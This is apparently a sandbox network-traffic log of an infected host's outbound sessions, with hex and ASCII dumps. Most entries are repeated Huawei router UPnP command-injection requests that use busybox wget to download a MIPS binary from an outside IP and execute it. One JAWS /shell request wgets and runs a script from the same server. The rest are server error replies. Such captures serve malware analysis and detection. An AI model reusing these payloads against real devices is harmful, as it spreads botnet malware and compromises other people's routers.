64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:11.343136072 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:13.202960968 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:17.038337946 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:24.461287975 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:24:39.307209015 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:09.254992962 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	52640	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:09.976232052 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 30 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:09Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	59842	202.75.28.175	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:10.025134087 CET	614	IN	HTTP/1.1 400 Bad Request Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	52656	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:10.748861074 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 34 3a 31 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:24:10Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	40870	96.67.179.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:10.828260899 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:11.003639936 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 02 Jan 2024 05:24:10 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
